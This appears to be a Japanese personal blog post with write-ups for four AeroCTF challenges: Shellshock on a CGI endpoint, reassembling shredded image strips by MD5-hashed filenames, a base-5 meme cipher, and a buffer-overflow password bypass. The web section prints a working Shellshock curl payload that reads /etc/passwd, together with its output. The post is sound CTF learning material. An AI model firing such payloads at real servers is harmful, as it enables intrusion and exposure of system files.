ラッキーなことに、自分の時間が少し取れたので、ちょうど開催されていた AeroCTF をやってみました。
CTF timeのイベントスケジュールで発見。説明を読んでみたものの、
Held with the support of Moscow State University of Civil Aviation (MSTUCA).
という情報しかなく、難易度がさっぱりわからない&時間もそれほど取れないので、ちょっと覗いて見るだけ〜のつもりで…。
SECCON系, CODE BULE, 常設CTF 以外では初の参加。メインがロシア語なのにテンション上がりつつ(※読めない)やってみました。
点数は、warmupは一律 最初から100pt, その他は解けた人数によって 500pt から下がっていく仕組み。下限は100ptかな。
途中でWeb問が一つ、0pointに。Task broken, sorry.と表示されていました。早い者勝ちだったのか、不正があったのか、問題が良くなかったのか?問題もなくなっていたので後者2つのどっちかかな。手を付けてなかったので良かった。解けてたらがっかりだろうなー。こういうのも初めてだった!
例によって100点代に落ちた簡単めの問題しか解けていませんが、一応write-upを。
[Web] board tracking system
問題
We develop advanced board tracking system, is it vulnerable? Site: http://81.23.11.159:8080/
解答
指定されたサイトに飛んでみます。こんなページが出力。
コードを表示してみます。
<html> <head> <style> body, pre { color: #7b7b7b; font: 300 16px/25px "Roboto",Helvetica,Arial,sans-serif; } </style> <meta name="generator" content="vi2html"> </head> <body> </br> Welcome to control plane application of Aeroctf system.</br> </br> </br> On a dashboard you can see loading our system</br> </br> Stats: </br> <iframe frameborder=0 width=800 height=600 src="/cgi-bin/stats"></iframe> </body> </html>
おや、下の方のiframeで、他のパスをcallして情報をとってきて表示しているみたいです。 /cgi-bin/stats
こちらにアクセスしてみると、時刻情報が取れます。
Fri Mar 8 17:21:54 UTC 2019 17:21:54 up 93 days, 2:50, 0 users, load average: 0.09, 0.06, 0.01
いろいろ突っつきまわったりcookieを確認したり、index.html 的なものを探しましたが見当たらず。
今回のシステムの特徴は、 cgi-bin/stats
というパスにアクセスさせていることくらいかな、と思ったので、その線でググってみました。
すると、過去の違うCTFのwrite-upがHit!
RITSEC Fall 2018 CTF — Week 6 – Wyatt Tauber – Medium
このサイトの説明によると、 cgi-bin
ディレクトリは、2014年9月に発見された ShellShock
の脆弱性の悪用が可能なことで有名らしい。ShellShockが発表されたときって色々大きな脆弱性が見つかって「ひゃー!」ってお祭り騒ぎしてた頃だよね、懐かしい。
以下、このwrite-upより、google翻訳の引用
Shellshockは、攻撃者が特定のブラウザユーザーエージェントでCGIに頼るWebサイトを訪れた際に任意のコードを実行します すべてのShellshockの悪用は、(){:;の変種で始まります。 ;ブラウザのユーザーエージェントに配置される(開発者コンソールまたはサードパーティのアドオンを介してブラウザ内のユーザーエージェントを変更することによる)か、curlやツールなどの別のアプリケーションを介した要求を使用してユーザーエージェントを送信する
ということで、ShellShockはUAに攻撃コードを仕込むことでShellを取ることができるらしい。攻撃コードも載っている。
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" ${target_url}
このコードで、/etc/passwd を表示させることができるみたい。他のコマンドでも有効。
やってみます。
$ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://81.23.11.159:8080/cgi-bin/stats root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Aero{c58b51bee681ba3aa3971cef7aa26696}
ん?あれ!まさかの一発目のコマンドでflagが取れた!やった!
[Code] damaged ticket
問題
I left my computer unattended for a while and did not block it. I had a plane ticket on the desktop, someone had damaged it and now I have only small parts of the ticket, as if it had passed through a "shredder". Help me recover the ticket, I have a plane in a couple of hours!
解答
ファイルをDLして解凍すると、600枚ものpng画像が!全部 1×267 の縦長サイズ。
チケットがシュレッダーにかかったみたいになっちゃった!って言ってるので、まぁこれをつなげればチケットが復元できるんでしょう?ということでコードを組んでみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import glob import pprint from PIL import Image def get_concat_h(dst, src, w_index): dst.paste(src, (w_index, 0)) return dst images = glob.glob("./parts/*") #images.sort() pprint.pprint(images) images_base = Image.open(images[0]) new_img = Image.new('RGB', (images_base.width * len(images), images_base.height)) for i in range(len(images)): next_img = Image.open(images[i]) new_img = get_concat_h(new_img, next_img, images_base.width * i) new_img.show()
実行結果
$ python wrong.py ['./parts/3c7781a36bcd6cf08c11a970fbe0e2a6.png', './parts/ad13a2a07ca4b7642959dc0c4c740ab6.png', './parts/3ef815416f775098fe977004015c6193.png', './parts/1385974ed5904a438616ff7bdb3f7439.png', 略
うーん、ぐちゃぐちゃ。そうだよね、どういう順番でつなげるか適当だったもんね。
ということで、上のコードでコメントアウトしていた images.sort
を有効にして再度実施。ファイル名順でどうだ!
$ python wrong.py ['./parts/00411460f7c92d2124a67ea0f4cb5f85.png', './parts/006f52e9102a8d3be2fe5614f42ba989.png', './parts/00ec53c4682d36f5c4359f4ae7bd7ba1.png', './parts/01161aaa0b6d1345dd8fe4e481144d84.png', 略
うーんぐちゃぐちゃその2。
順番はどうやって決めるの?画像解析して隣に来そうなやつを・・・なんて賢いことやってる時間はなさそうだし…。
ここでお風呂に入る。-> 閃く。
ファイル名が16進の範囲の文字列であること、全て32文字であることから、連番のhash何じゃないかと当たりをつける。
hashアルゴリズムはわからないので、32桁のハッシュが生成されるアルゴリズムを片っ端から試してみることに。
$ MD5 -s 1 MD5 ("1") = c4ca4238a0b923820dcc509a6f75849b $ find parts/* | grep c4ca4238a0b923820dcc509a6f75849b parts/c4ca4238a0b923820dcc509a6f75849b.png
おや!1のmd5 hashの値がいる!ほか、2,0 を試してみたけどいました!!ということで、0からの連番のmd5 hashがファイル名になっているようです!
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import glob import hashlib from PIL import Image def get_concat_h(dst, src, w_index): dst.paste(src, (w_index, 0)) return dst images = glob.glob("./parts/*") images_base = Image.open(images[0]) new_img = Image.new('RGB', (images_base.width * len(images), images_base.height)) for i in range(len(images)): filename = './parts/' + hashlib.md5(str(i).encode('utf-8')).hexdigest() + '.png' next_img = Image.open(filename) new_img = get_concat_h(new_img, next_img, images_base.width * i) new_img.show()
実行結果
[Warmup] crypto_warmup 100pt
問題
Again, these memes, we have even stopped talking to them. Just look at it, they seem to be crazy.
解答
DLしたencryptedファイルはこちら。
kappa_pride pepe kappa look_at_this_dude kappa trollface look_at_this_dude kappa_pride look_at_this_dude look_at_this_dude kappa_pride trollface look_at_this_dude look_at_this_dude pepe kappa_pride trollface kappa pepe look_at_this_dude kappa_pride kappa_pride trollface kappa_pride trollface look_at_this_dude look_at_this_dude trollface look_at_this_dude look_at_this_dude pepe look_at_this_dude look_at_this_dude pepe look_at_this_dude look_at_this_dude look_at_this_dude kappa kappa_pride pepe look_at_this_dude pepe trollface look_at_this_dude look_at_this_dude kappa_pride trollface trollface pepe look_at_this_dude look_at_this_dude kappa_pride kappa kappa look_at_this_dude kappa kappa_pride pepe look_at_this_dude kappa_pride look_at_this_dude kappa kappa_pride look_at_this_dude kappa trollface kappa_pride kappa kappa kappa_pride trollface kappa_pride kappa_pride kappa look_at_this_dude trollface look_at_this_dude pepe pepe look_at_this_dude pepe kappa_pride kappa look_at_this_dude look_at_this_dude kappa trollface look_at_this_dude kappa trollface kappa_pride kappa kappa pepe look_at_this_dude look_at_this_dude pepe look_at_this_dude pepe pepe look_at_this_dude look_at_this_dude kappa_pride trollface kappa_pride pepe look_at_this_dude look_at_this_dude kappa_pride trollface kappa trollface kappa kappa kappa
もうキャーですね。わけわかりません。
最初モールス信号か?と思って試してみたけどなんか違いそう。
構成は、下記の5つの単語のみのようです。
kappa_pride
, pepe
. kappa
, look_at_this_dude
, trollface
。
そして、すべての行は3語、最後の行だけ4語になっています。
もしこの文字列が、一行一文字かつFlagを示していると仮定すると、最初の行が A
で、最後の行が }
になって欲しい。
さらに、文字列の種類が5つしか無いので、5進数なのでは?とあたりをつけます。
A
は 0x41
=> 230
(5進), }
は 0x7d
=> 1000
(5進)
おっ、最後の行が特に、4桁になっている、かつ最後の3文字が一緒なので、仮説は正しそう!!!
対応表は下記になります。
0: kappa 1: trollface 2: kappa_pride 3: pepe 4: look_at_this_dude
これらの値で暗号文を置換し、整形するとこうなります。
230 401 424 421 443 210 342 212 144 144 344 344 402 343 144 211 344 200 402 342 402 401 200 212 204 143 343 204 401 401 200 344 343 344 212 344 210 1000
あとはこの5進数をasciiにしていくだけ。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- quinary_str = "230 401 424 421 443 210 342 212 144 144 344 344 402 343 144 211 344 200 402 342 402 401 200 212 204 143 343 204 401 401 200 344 343 344 212 344 210 1000" def Base_n_to_10(X,n): out = 0 for i in range(1,len(str(X))+1): out += int(X[-i])*(n**(i-1)) return out quinary_list = quinary_str.split() flag_arr = [] for q in quinary_list: flag_arr.append(chr(Base_n_to_10(q, 5))) print(''.join(flag_arr))
実行結果
$ python quinary.py Aero{7a911ccfb18c2fafe2960b6ee2cbc9c7}
[Warmup] pwn_warmup 100pt
問題
Now they have made a server with memes, it has authorization. See if you can get around it.
Server: 185.66.87.233 5004
解答
落としてきたファイルはこちら。
$ file meme_server meme_server: ELF 32-bit LSB shared object Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f3fa03bdd74f3fbd76afde7a64db44ffcc3f2dd3, not stripped
実行ファイルのようです。strings
コマンドで、何となくどんな事が書いてあるか覗いてみます。以下、抜粋のみ。
$ strings meme_server Memes server Enter the password: [-] Auth error! meme.txt File not found! here is your meme: %s password.txt frame_dummy main.c strcmp@@GLIBC_2.0 read@@GLIBC_2.0 malloc@@GLIBC_2.0
mallocしてるのが気になります。
深く考えずに、次は指定されたサイトにつなぎに行きます。
なんかパスワード入れろと言われるので、適当に入れます。さっきのコードの断片から、BufferOverflowの可能性がありそうだったので、ちょいと眺めの入力をしてやります。
$ nc 185.66.87.233 5004 Memes server Enter the password: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa here is your meme: Aero{bf95912df616a3bbfe9a5872674d766b}
あれ!出た!ラッキー!
感想
- お風呂は閃きがち。
- Crypto問題なんかいけそうな気がしたんだけど、よく考えたら問題文の意味がわかってなかった気がする。
- Reversingは結局今回も手が出せなかったなぁ…。
- 妊婦、すぐ眠くなりがち。トイレ行きたくなりがち。
競技離脱直後は、こんな順位と点数だったのですが
最終的にはここまで落ちました。これはこれでつらいʅ(´-ω-`)ʃ
450pt、81位でした。
楽しかった〜!٩(๑❛ᴗ❛๑)۶ よく知らないCTFだったけど、意外と楽しめました。
これを機にちょっと時間があるときはトライしてみようかな。